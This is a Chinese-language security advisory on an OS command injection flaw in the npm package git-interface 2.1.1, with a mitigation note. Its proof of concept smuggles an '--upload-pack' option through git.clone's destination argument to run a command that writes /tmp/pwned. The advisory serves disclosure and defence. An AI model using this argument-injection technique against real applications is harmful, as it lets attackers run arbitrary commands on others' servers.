git-interface@2.1.1 中的命令注入漏洞
git-interface将自己描述为与 node.js 中的 git 存储库一起使用的接口
资源:
项目的GitHub源代码:
https://github.com/yarkeev/git-interface
项目的npm包:
https://www.npmjs.com/package/git-interface
报告git-interfacenpm 包中的操作系统命令注入漏洞。如果用户输入能够提供磁盘上的有效目录并提供目标目录来克隆存储库,则 API 可能会被滥用。
POC
安装git-interface@2.1.1最新的。
运行以下代码,具有以下前提条件,其中/tmp/new目录需要存在(但不需要是 .git 初始化目录),因此,您可以提供可预测的路径,例如 say /usr/src:
const { Git } = require('git-interface');
const git = new Git({
dir: '/tmp/new' //default path is current directory
});
git.clone('file:///tmp/new', '--upload-pack=echo>/tmp/pwned');
观察创建的新文件:/tmp/pwned
缓解建议
使用 shell--表示法作为支持的命令行参数的后缀(如果有的话),以确保传递给 git 命令的输入是位置参数而不是命令行参数。例如:git clone -- <path> <destination>将防止路径和目标被解释为 git 命令的命令行参数。
影响
如果两者都由用户输入提供,那么--upload-packgit 也支持使用命令行参数功能git clone,这将允许攻击者生成任何操作系统命令。
参考
Liran Tal 的 GitHub 要点
https://gist.github.com/lirantal/972eba057d4b60bd1656d68b40899eab